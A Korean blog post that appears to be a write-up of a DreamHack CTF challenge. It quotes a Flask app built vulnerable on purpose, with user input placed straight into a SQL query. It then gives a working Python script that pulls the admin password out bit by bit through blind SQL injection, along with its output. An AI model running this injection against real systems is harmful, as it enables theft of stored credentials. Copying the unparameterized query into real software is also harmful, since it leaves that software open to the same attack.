728x90
app.py
import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
{% if nrows == 1%}
<pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''
@app.route('/', methods=['GET'])
def index():
uid = request.args.get('uid', '')
nrows = 0
if uid:
cur = mysql.connection.cursor()
nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")
return render_template_string(template, uid=uid, nrows=nrows)
if __name__ == '__main__':
app.run(host='0.0.0.0')
딱 봐도 sql injection 문제이다.
app.py를 봐보면 사용자가 입력한 uid를 고대로 query에 넣기 때문에 sql injection이 발생할 수 있다.
그리고 init.sql을 열어보면
CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `user_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;
admin의 비밀번호가 FLAG인 것을 알 수 있다.
하지만 문제 화면에선 query의 참거짓만 출력하기 때문에 admin의 비밀번호를 알기 위해선 blind sql injection이 필요하다.
문제에서 비밀번호가 한글 또는 아스키 값이라 되어 있으니 하나씩 입력해서 찾아보기는 힘들고 bit연산을 이용한 injection이 합당해보인다.
다음은 필자가 짠 풀이이다.
from requests import get
host = "http://host3.dreamhack.games:포트값"
#비밀번호 길이
password_length = 0
while True:
password_length+=1
query = f"admin' and char_length(upw) = {password_length}-- " # 주석 띄어쓰기
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(password_length)
password =""
# 각 문자별 비트열 길이
for i in range(1, password_length+1):
bit_length = 0
while True:
bit_length+=1
query = f"admin' and length(bin(ord(substr(upw ,{i},1)))) = {bit_length}-- "
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"{i} : {bit_length}")
# 비트 출력
bits=""
for j in range(1, bit_length+1):
query = f"admin' and substr(bin(ord(substr(upw,{i},1))),{j},1)= '1' -- "
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits+="1"
else:
bits+="0"
print(bits)
"""
1. 비트열을 정수로 변환 (int(bits, 2))
2. 정수를 big endian 형태의 문자로 변환
3. 변환된 문자를 인코딩에 맞게 변환 .decode("utf-8")
"""
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)
"""
13
1 : 7
1000100
2 : 7
1001000
3 : 7
1111011
4 : 24
111011001001110110110100
5 : 24
111010101011001010000011
6 : 24
111011001001110110110100
7 : 24
111010111011100110000100
8 : 24
111010111011000010000000
9 : 24
111010111011001010001000
10 : 24
111011011001100010111000
11 : 6
100001
12 : 6
111111
13 : 7
1111101
DH{이것이비밀번호!?}
"""
순서대로 보자면 먼저 비밀번호의 총 길이를 구한 후 아스키값과 한글이 섞여있으니 각 문자별 비트열 길이를 계산한다. (아스키와 utf8의 한글 비트열 길이는 다름)
그리고 각 자리의 비트값을 찾아낸다.
가장 중요한 부분은 비트를 문자로 변환하는 부분인데
to_bytes를 써서 정수를 byte로 변환시킨다.
1. int(bits,2)를 통해 이진수를 정수형으로 변환
2. (bit_length+7)//8 => 변환하는값 길이를 나타냄 (8비트가 1바이트)
3. big => 최상위 바이트가 배열의 앞으로 오게 함
그 후 utf-8 decode를 통해 변환시켜주면
DH{이것이비밀번호!?} FLAG를 알 수 있다.
728x90
반응형
'Web Hacking > DreamHack' 카테고리의 다른 글
[DreamHack] xss-1 풀이 (0) | 2024.04.04 |
---|---|
드림핵 XSS Filtering Bypass Advanced 풀이 (0) | 2023.12.29 |
드림핵 phpmyRedis 문제 (0) | 2023.11.24 |
드림핵 sql injection bypass WAF advanced 풀이 (0) | 2023.11.11 |
드림핵 blind-command 풀이 (0) | 2023.10.12 |